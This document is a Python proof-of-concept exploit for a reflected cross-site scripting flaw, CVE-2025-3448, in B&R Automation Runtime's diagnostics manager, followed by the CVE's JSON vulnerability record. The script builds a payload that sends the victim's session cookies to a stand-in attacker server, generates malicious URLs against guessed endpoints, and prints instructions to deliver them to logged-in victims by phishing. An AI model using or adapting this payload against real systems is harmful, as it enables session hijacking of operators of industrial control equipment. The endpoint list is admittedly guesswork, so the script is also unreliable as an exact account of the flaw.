CVE-2025-3448

# CVE-2025-3448 - B&R Automation Runtime SDM Reflected XSS PoC # Reflected XSS vulnerability in System Diagnostics Manager (SDM) # Affected: B&R Automation Runtime versions before 6.4 import requests import urllib.parse TARGET_URL = "https://target-sdm-server" ATTACKER_SERVER = "https://attacker.com/steal" # Malicious JavaScript payload to steal session cookies payload_js = f""" document.location='{ATTACKER_SERVER}?cookie='+document.cookie; """.strip() # Encode the payload for URL injection encoded_payload = urllib.parse.quote(payload_js) # Construct the malicious URL with XSS payload in parameter # The exact vulnerable parameter may vary; common candidates include 'page', 'id', 'search', 'view', etc. vulnerable_endpoints = [ f"{TARGET_URL}/diagnostic?page={encoded_payload}", f"{TARGET_URL}/sdm/view?id={encoded_payload}", f"{TARGET_URL}/diagnostics/search?q={encoded_payload}", f"{TARGET_URL}/system/status?redirect={encoded_payload}", ] print("[*] CVE-2025-3448 - B&R Automation Runtime SDM Reflected XSS PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Attacker callback: {ATTACKER_SERVER}") print("[*] Generated malicious URLs:") for i, url in enumerate(vulnerable_endpoints, 1): print(f"\n[{i}] {url}") # Send the malicious URL to the victim via phishing email, IM, etc. # When victim clicks while authenticated to SDM, the script executes print("\n[*] Send these URLs to the authenticated victim via phishing.") print("[*] When the victim clicks, the JavaScript will execute in their browser context.") print("[*] Captured cookies/data will be sent to the attacker's server.") # Example: Test if endpoint is vulnerable (basic check) for endpoint in vulnerable_endpoints: try: test_url = endpoint.replace(encoded_payload, "<script>alert('XSS')</script>") resp = requests.get(test_url, timeout=5, verify=False) if "<script>alert('XSS')</script>" in resp.text: print(f"\n[!] VULNERABLE: {test_url}") print(f"[!] Payload reflected in response without sanitization!") except Exception as e: print(f"[-] Error testing endpoint: {e}")

{"cve": {"id": "CVE-2025-3448", "sourceIdentifier": "[email protected]", "published": "2025-10-07T19:15:36.447", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reflected cross-site scripting (XSS) vulnerabilities exist in System Diagnostics Manager (SDM) of B&R Automation Runtime versions before 6.4 that enables a remote attacker to execute arbitrary JavaScript code in the context of the attacked user’s browser session"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.br-automation.com/fileadmin/SA25P003-178b6a20.pdf", "source": "[email protected]"}]}}